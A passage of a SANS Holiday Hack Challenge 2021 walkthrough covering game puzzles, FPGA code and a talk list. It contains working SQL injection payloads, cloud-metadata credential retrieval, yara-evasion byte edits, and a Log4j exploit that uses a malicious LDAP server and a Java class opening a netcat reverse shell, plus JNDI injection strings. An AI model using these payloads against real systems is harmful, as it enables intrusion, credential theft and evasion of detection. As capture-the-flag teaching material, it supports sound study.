Getting a list of table names:,4%20union%20select%20*%20from%20(select%201)a%20join%20(select%202)b%20join%20(SELECT%20GROUP_CONCAT(table_name)%20FROM%20information_schema.tables%20WHERE%20version=10)c%20join%20(select%204)d%20join%20(select%205)e%20join%20(select%206)f%20join%20(select%207)g%20--%20;

We see the ‘todo’ table referenced in the objective. In-order to extract data from this table, we need to obtain the column names:,4%20union%20select%20*%20from%20(select%201)a%20join%20(select%202)b%20join%20(SELECT%20GROUP_CONCAT(column_name)%20FROM%20information_schema.columns%20WHERE%20table_name%20='todo')c%20join%20(select%204)d%20join%20(select%205)e%20join%20(select%206)f%20join%20(select%207)g%20--%20;

The injection returns the following column names:

  • id
  • note
  • completed,4%20union%20select%20*%20from%20(select%201)a%20join%20(select%202)b%20join%20(SELECT%20GROUP_CONCAT(note)%20FROM%20todo)c%20join%20(select%204)d%20join%20(select%205)e%20join%20(select%206)f%20join%20(select%207)g%20--%20;

The todo note:

Buy up land all around Santa's Castle,Build bigger and more majestic tower \
next to Santa's,Erode Santa's influence at the North Pole via FrostFest, \
the greatest Con in history,Dishearten Santa's elves and encourage defection \
to our cause,Steal Santa's sleigh technology and build a competing and way \
better Frosty present delivery vehicle,Undermine Santa's ability to deliver \
presents on 12/24 through elf staff shortages, technology glitches, and \
assorted mayhem,Force Santa to cancel Christmas,SAVE THE DAY by delivering \
Frosty presents using merch from the Frost Tower Gift Shop to children \
world-wide... so the whole world sees that Frost saved the Holiday Season!!!! \
Bwahahahahaha!,With Santa defeated, offer the old man a job as a clerk in the \
Frost Tower Gift Shop so we can keep an eye on him



13 FPGA Programming

Difficulty: 4/5

Hint: Grody Goiterson

Write your first FPGA program to make a doll sing. You might get some suggestions from Grody Goiterson, near Jack’s elevator.

This is hard to get your head round, especially for someone that has programmed code, and code for chips, like USBs. An understanding of hardware programming about clocks and clock-dividing, for driving hardware components is useful. But this is SANS, it should be simpler than you think, so dont overcomplicate things.

Take the basic blinkly example from the video as the template

    reg [31:0] one_second_counter;
    reg blinker;
    assign wave_out=blinker;
always @(posedge clk or posedge rst)
   if (rst==1)
       one_second_counter <= 0;
       blinker <= 0;
   if(one_second_counter >= 100000000)
     one_second_counter <= 0;
     blinker <= blinker ^ 1'b1;
      one_second_counter <= one_second_counter + 1;


So the code above should be generating a 1MHz square wave, now to modify it to take input ‘freq’ and out put a square wave of the desired frequency.

a typical clock divsor is ((clock_speed/freq)/2) -1

but we have to play around with precision, and rounding so

if(one_second_counter >= 100000000)


my_var <= (((1250000000/freq)*10)/2) -1;
   if(one_second_counter >= my_var)

winning code:

 reg [31:0] one_second_counter;
    reg blinker;
    integer my_var;
    assign wave_out=blinker;
always @(posedge clk or posedge rst)
   if (rst==1)
       one_second_counter <= 0;
       blinker <= 0;
   my_var <= (((1250000000/freq)*10)/2) -1;
   if(one_second_counter >= my_var)
     one_second_counter <= 0;
     blinker <= blinker ^ 1'b1;
      one_second_counter <= one_second_counter + 1;

Once completed you get an FPGA chip, insert this into the ET setup on the roof, for the final holiday hack sequence to begin:

the end of kc2021 1

Enter the spaceship, and talk to the trolls from right to left:

the end of kc2021 2

Terminal Challenges

Orientation - Jingle Ringford


Logic munchers - Noel Bowtie, North Pole

Hint: Noel Boetie

Just Played the game!

Grepping for gold - Greasy Gopherguts, Northpole

Hint: Greasy GopherGuts

  • What port does have open?
  • What port does have open?
  • How many hosts are up
  • How many have a webport
  • How mnany Up hosts have no detected ports hint:
    echo $((`grep Up bigscan.gnmap | wc -l` - `grep Ports bigscan.gnmap | wc -l`))

    hosts up - hosts open (26054 - 25652 = 402)

  • greatestno of ports open
    grep -E "(Jolly.*){6,}" file.txt | wc -l
    grep -E "(open.*){12,}" bigscan.gnmap | wc -l

Frostavator - Grody Goiterson, Jacks Tower Lobby

Hints: Grody Goiterson

Jacks Lift Panel

Ping the IMDS - Noxious O. D’or, Jacks Restroom

Hint: Noxious O. D’or

$ ping -c 4

Developers can automate actions using IMDS. We’ll interact with the server using the cURL tool. Run ‘curl’ to access IMDS data.

$ curl

IMDS returns two new endpoints: dynamic and meta-data. Let’s start with the dynamic endpoint, which provides information about the instance itself. Repeat the request to access the dynamic endpoint: ‘curl’

$ curl

Repeat the request, this time requesting the instance-identity/document resource: ‘curl’.

$ curl

"accountId": "PCRVQVHN4S0L4V2TE",
        "imageId": "ami-0b69ea66ff7391e80",
        "availabilityZone": "np-north-1f",
        "ramdiskId": null,
        "kernelId": null,
        "devpayProductCodes": null,
        "marketplaceProductCodes": null,
        "version": "2017-09-30",
        "privateIp": "",
        "billingProducts": null,
        "instanceId": "i-1234567890abcdef0",
        "pendingTime": "2021-12-01T07:02:24Z",
        "architecture": "x86_64",
        "instanceType": "m4.xlarge",
        "region": "np-north-1"
$ curl | jq '.'
        "Code": "Success",
        "LastUpdated": "2021-12-02T18:50:40Z",
        "Type": "AWS-HMAC",
        "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
        "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
        "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
        "Expiration": "2026-12-02T18:50:40Z"
curl -H "X-aws-ec2-metadata-token: $TOKEN"

Yara Analysis - Fitzy Shortstack, Entry

$ ./the_critical_elf_app 

yara_rule_135 ./the_critical_elf_app

rule yara_rule_135 {
      description = "binaries - file Sugar_in_the_machinery"
      author = "Sparkle Redberry"
      reference = "North Pole Malware Research Lab"
      date = "1955-04-21"
      hash = "19ecaadb2159b566c39c999b0f860b4d8fc2824eb648e275f57a6dbceaf9b488"
      $s = "candycane"

yara_rule_1056 ./the_critical_elf_app

rule yara_rule_1056 {
        description = "binaries - file frosty.exe"
        author = "Sparkle Redberry"
        reference = "North Pole Malware Research Lab"
        date = "1955-04-21"
        hash = "b9b95f671e3d54318b3fd4db1ba3b813325fcef462070da163193d7acb5fcd03"
        $s1 = {6c 6962 632e 736f 2e36}//
        $hs2 = {726f 6772 616d 2121}//rogram!!
        all of them

yara_rule_1732 ./the_critical_elf_app

rule yara_rule_1732 {
      description = "binaries - alwayz_winter.exe"
      author = "Santa"
      reference = "North Pole Malware Research Lab"
      date = "1955-04-22"
      hash = "c1e31a539898aab18f483d9e7b3c698ea45799e78bddc919a7dbebb1b40193a8"
      $s1 = "This is critical for the execution of this program!!" fullword ascii
      $s2 = "__frame_dummy_init_array_entry" fullword ascii
      $s3 = "" fullword ascii
      $s4 = ".eh_frame_hdr" fullword ascii
      $s5 = "__FRAME_END__" fullword ascii
      $s6 = "__GNU_EH_FRAME_HDR" fullword ascii
      $s7 = "frame_dummy" fullword ascii
      $s8 = "" fullword ascii
      $s9 = "completed.8060" fullword ascii
      $s10 = "_IO_stdin_used" fullword ascii
      $s11 = ".note.ABI-tag" fullword ascii
      $s12 = "naughty string" fullword ascii
      $s13 = "dastardly string" fullword ascii
      $s14 = "__do_global_dtors_aux_fini_array_entry" fullword ascii
      $s15 = "__libc_start_main@@GLIBC_2.2.5" fullword ascii
      $s16 = "GLIBC_2.2.5" fullword ascii
      $s17 = "its_a_holly_jolly_variable" fullword ascii
      $s18 = "__cxa_finalize" fullword ascii
      $s19 = "HolidayHackChallenge{NotReallyAFlag}" fullword ascii
      $s20 = "__libc_csu_init" fullword ascii
      uint32(1) == 0x02464c45 and filesize < 50KB and
      10 of them

Our vim commands, and file edits to bypass yara_rule_135 & yara_rule_1056

vim ./the_critical_elf_app

We can then edit the hex bytes

  • edit byte 2008h c to C (63h to 43h)
  • edit byte 2054h r to R (72h to 52h)

To revert back to the vim as text editor and save the file

:%!xxd -r

To bypass yara_rule_1732 we need to tag junk at the end of file until it is over 50KB…

…. just keep copying the binary to the end of itself until its over 50KB …

cat the_critical_elf_app the_critical_elf_app > 2
cat the_critical_elf_app the_critical_elf_app >> 2
chmod 777 2
Machine Running.. 
Toy Levels: Very Merry, Terry
Naughty/Nice Blockchain Assessment: Untampered
Candy Sweetness Gauge: Exceedingly Sugarlicious
Elf Jolliness Quotient: 4a6f6c6c7920456e6f7567682c204f76657274696d6520417070726f766564

Document Analysis - Piney Sappington, Courtyard

find the latest doc

exiftool * |grep -i date



Strace Ltrace Retrace - Tinsel Upatree, Kitchen

strace ./make_candy
  • missing file = registration.json
  • missing text = registration:
nano registration.json

IPv6 Sandbox - Jewl Loggins, Santa’s Talks Lobby

Hint: Jewel Loggins

Find what IPv6 hosts are alive:

ping6 ff02::1 -c2

Next portscan the host:

nmap -6 fe80::42:c0ff:fea8:a002%eth0
curl -g "http://[fe80::42:c0ff:fea8:a002]:80" --interface eth0
Connect to the other Open TCP port to get the stripper's activation phrase
curl -g "http://[fe80::42:c0ff:fea8:a002]:9000" --interface eth0



Hohoho no (fail2ban) - Eve Snowshoes, Santas Office

Can you configure Fail2Ban to detect and block the bad IPs?

 * You must monitor for new log entries in /var/log/hohono.log
 * If an IP generates 10 or more failure messages within an hour then it must
   be added to the naughty list by running naughtylist add <ip>
        /root/naughtylist add
 * You can also remove an IP with naughtylist del <ip>
        /root/naughtylist del
 * You can check which IPs are currently on the naughty list by running
        /root/naughtylist list

You'll be rewarded if you correctly identify all the malicious IPs with a
Fail2Ban filter in /etc/fail2ban/filter.d, an action to ban and unban in
/etc/fail2ban/action.d, and a custom jail in /etc/fail2ban/jail.d. Don't
add any nice IPs to the naughty list!


Fail2Ban won't rescan any logs it has already seen. That means it won't
automatically process the log file each time you make changes to the Fail2Ban
config. When needed, run /root/naughtylist refresh to re-sample the log file
and tell Fail2Ban to reprocess it.


logpath = /var/log/hohono.log
maxretry = 10
findtime = 1h
bantime = 1h
filter = custom
action = custom
backend = polling


failregex =^.*Failed login from <HOST> for (.+)$
           ^.*Login from <HOST> rejected due to unknown user name$
           ^.*\s<HOST> sent a malformed request$
           ^.*Invalid heartbeat ('.*') from <HOST>


actionban=/root/naughtylist add <ip>
actionunban=/root/naughtylist del <ip>

Restart fail2ban

service fail2ban restart

dont forget to reload the list in use:

/root/naughtylist refresh

Santas Holiday Hero - Chimney Scissorsticks, Netwars

Play the game!

But you need to be the player on the left, or the game wont let you win. Essentially, similar to guitar hero

Elf Code - Ribb Bonbowford, Dinning Room


import elf, munchkins, levers, lollipops, yeeters, pits
# Grab our lever object
lever = levers.get(0)
munchkin = munchkins.get(0)
lollipop = lollipops.get(0)
# move to lever position
# get lever int and add 2 and submit val
leverData = + 2
# Grab lollipop and stand next to munchkin
# Solve the munchkin's challenge
munchList = munchkin.ask() # e.g. [1, 3, "a", "b", 4]
answer_list = []
for elem in munchList:
    if type(elem) == int:
elf.moveUp(2) # Move to finish


import elf


import elf, munchkins, levers, lollipops, yeeters, pits
# Gets all lollipops as a list
all_lollipops = lollipops.get()
# Can also set lollipop0 using:
lollipop0 = lollipops.get(0)



import elf, munchkins, levers, lollipops, yeeters, pits
lever0 = levers.get(0)
lollipop0 = lollipops.get(0)
sum = + 2


import elf, munchkins, levers, lollipops, yeeters, pits
# Complete the code below:
lever0, lever1, lever2, lever3, lever4 = levers.get()
# Move onto lever4
# This lever wants a str object:
all_levers = levers.get()
lever4.pull("A String")


import elf, munchkins, levers, lollipops, yeeters, pits
# Complete the code below:
lever0, lever1, lever2, lever3, lever4 = levers.get()
# Move onto lever4
# This lever wants a str object:
all_levers = levers.get()
lever4.pull(" concatenate")
ans['strkey'] = "strvalue"


import elf, munchkins, levers, lollipops, yeeters, pits
# Fix/Complete the below code
lever = levers.get(0)
lollipop0 = lollipops.get(0)
data =
if type(data) == bool:
    data = not data
elif type(data) == int:
    data = data * 2 
elif type(data) == list:
    data[2] = data[2] + 1 


import elf, munchkins, levers, lollipops, yeeters, pits
for num in range(3): #not sure if number is right


import elf, munchkins, levers, lollipops, yeeters, pits
all_lollipops = lollipops.get()
lever = levers.get(0)
for lollipop in all_lollipops:
# After loop we solve the lever or munchkin challenge and move to end.
ans=["munchkins rule"]


import elf, munchkins, levers, lollipops, yeeters, pits
def fmunchkin(list_of_lists):
    flat_list = [item for sublist in list_of_lists for item in sublist]
    for anumber in flat_list:
            if type(anumber) == int:
    return nlist

all_levers = levers.get()
# Create Movement pattern:
moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2 
# We iterate over each move in moves getting an index (i) number that increments by one each time
for i, move in enumerate(moves):
    moves[i % 4](i + 1)
    if i < 7:

munchkin = munchkins.get(0)


import elf, munchkins, levers, lollipops, yeeters, pits
import time
muns = munchkins.get()
lols = lollipops.get()[::-1]

while (elf.position['y'] > 5):
    if ( abs(elf.position['x'] - muns[index].position['x']) > 6):

Bonus - Log4jred

Start the malicoius LDAP server

cd marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://WEBSERVERIP:8080/#YuleLogExploit"
Listening on

In other terminal nano

public class YuleLogExploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc 4444 -e /bin/bash");
        } catch (Exception err) {

Compile the java program/class



curl '$\{jndi:ldap://\}'

Goto the shell

cat /home/solr/kringle.txt
The solution to log4j is patching




What is Santa's solution for Log4j?
> patching

Your answer is correct

Bonus - Log4jblue

cd vulnerable
java DisplayFilev1 testfile.txt
java DisplayFilev1 testfile2.txt
java DisplayFilev2 testfile2.txt
java DisplayFilev2 '${java:version}'
java DisplayFilev2 '${env:APISECRET}'
java DisplayFilev2 '${jndi:ldap://}'
cd ~/patched
java DisplayFilev2 '${java:version}'
log4j2scan vulnerable/
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: vulnerable/ (without tmpfs, shm)
[*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /home/elfu/vulnerable/log4j-core-2.14.1.jar, log4j 2.14.1

Scanned 1 directories and 8 files
Found 1 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.00 seconds
$ log4j2-scan patched/
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: patched/ (without tmpfs, shm)

Scanned 1 directories and 5 files
Found 0 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.00 seconds
log4j2-scan /var/www/solr/
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: /var/www/solr/ (without tmpfs, shm)
[*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /var/www/solr/server/lib/ext/log4j-core-2.14.1.jar, log4j 2.14.1
[*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /var/www/solr/contrib/prometheus-exporter/lib/log4j-core-2.14.1.jar, log4j 2.14.1

Scanned 102 directories and 1988 files
Found 2 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.30 seconds
$ log4j2-scan /var/log/www
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: /var/log/www (without tmpfs, shm)

Scanned 1 directories and 1 files
Found 0 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.00 seconds

./ /var/log/www
cd ~
grep -E -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' $1

./ /var/log/www
./ /var/log/www | sed '1!d'
/var/log/www/access.log: - - [14/Dec/2021:11:21:14 +0000] "GET /solr/admin/cores?foo=${jndi:ldap://} HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0"
elfu@2e5d64827ae2:~$ ./ /var/log/www | sed '2!d'
/var/log/www/access.log: - - [08/Dec/2021:19:41:22 +0000] "GET /site.webmanifest HTTP/1.1" 304 0 "-" "${jndi:dns://}"
$ ./ /var/log/www | sed '3!d'
/var/log/www/access.log: - - [08/Dec/2021:19:43:35 +0000] "GET / HTTP/1.1" 304 0 "-" "${jndi:ldap://}"


1 SANS Holiday Hack Challenge: Welcome/Orientation

Speaker(s): Ed Skoudis In this presentation, Ed welcomes you to the 2021 SANS Holiday Hack Challenge, orienting you to the environment, the characters, the storyline, and the super useful KringleCon 4 snowflake badge. He gives tips for navigating Santa’s castle and its interface, as well as ways to chat with other participants and get hints. In 5 short minutes, Ed provides you all the information you need to get rolling in this year’s super exciting Holiday Hack extravaganza!

2 Automate Security Response by Creating Your Own “Naughty Lists”

Speaker(s): Andy Smith


2 RFC-3514 Compliant Pentesting: Being Good While You’re Being Bad

Speaker(s): Tom Liston

3 Disclosing Security Vulnerabilities to Open-Source Projects… Like a Boss

Speaker(s): Nancy Gariché

3 FPGA Design for Embedded Systems

Speaker(s): Prof. Qwerty Petabyte

4 Kubernetes Attack Demo: Hacking a Cheating Casino

Speaker(s): Jay Beale

4 The Abominable Snowman’s Threat Hunting Adventure

Speaker(s): Xena Olsen

5 A CISO’s Best Friend: The Pentester!!?!

Speaker(s): Sean Atkinson + Chris Elgee

5 Demonstrating Active Directory Penetration Testing

Speaker(s): Chris Davis

6 How to Build a Free Malware Lab in Under an Hour

Speaker(s): Mary Ellen Kennel

6 Using Open-Source Tools to Track Elves

Speaker(s): Clay Moody

7 Eliminating XSS in Angular Applications

Speaker(s): Google

7 HIDden Ducky, Deconstructed Payload

Speaker(s): Kevin Tyers

4 Calling Birds

  • yeller - HEEY YOU
  • seller - your cars warranty is about to expire
  • quacker - quack
  • dealer - ante up


Elf Location
Jingle ringford Gate
Noel boetie northpole
Fitzy shortstack entry
Sparkle redberry entry
Angel candysalt great room
Tinsel upatree kitchen
Rib bonbowford dinning
Tangel coalbox santa courtyard
Piney sappington santa courtyard
Jewel loggins santas lobby
Morcel nougat speaker unpreparedness
Eve snowshoes santas office
Chimney scissorsticks netwars


Troll Location
Grimey mctrolkins North Pole
Greasy gopherguts North Pole
Grody goiterson Tower Lobby
Hubris selfington Tower Lobby
Ruby cyster Jacks Office
Ingreat tude Jacks Studio
Noxious o.dor Jacks Restroom
Rose mold Jacks Rooftop
Crunchy squish Jacks Rooftop
Numby chilblain Jacks Rooftop
Pat tronizer Talks Lobby
Icy Cickles Third Kind
Erin Fection Third Kind
Buttercup Third Kind

Easter Eggs

  • Sticking the FPGA into the ET looking setup on the roof to call the Third Kind
  • The tones from the FPGA sound like the ones from “Close encoutners from the 3rd Kind”
  • Numby Chilblain - jacks rooftop Says “Klaatu barada nikto” it is a phrase that originated in the 1951 science fiction film The Day the Earth Stood Still.
  • Jacks Studio contains last years Santa portrait that contained a hidden message.
  • Ed’s Apple Mac OSX is 10.1

Share on: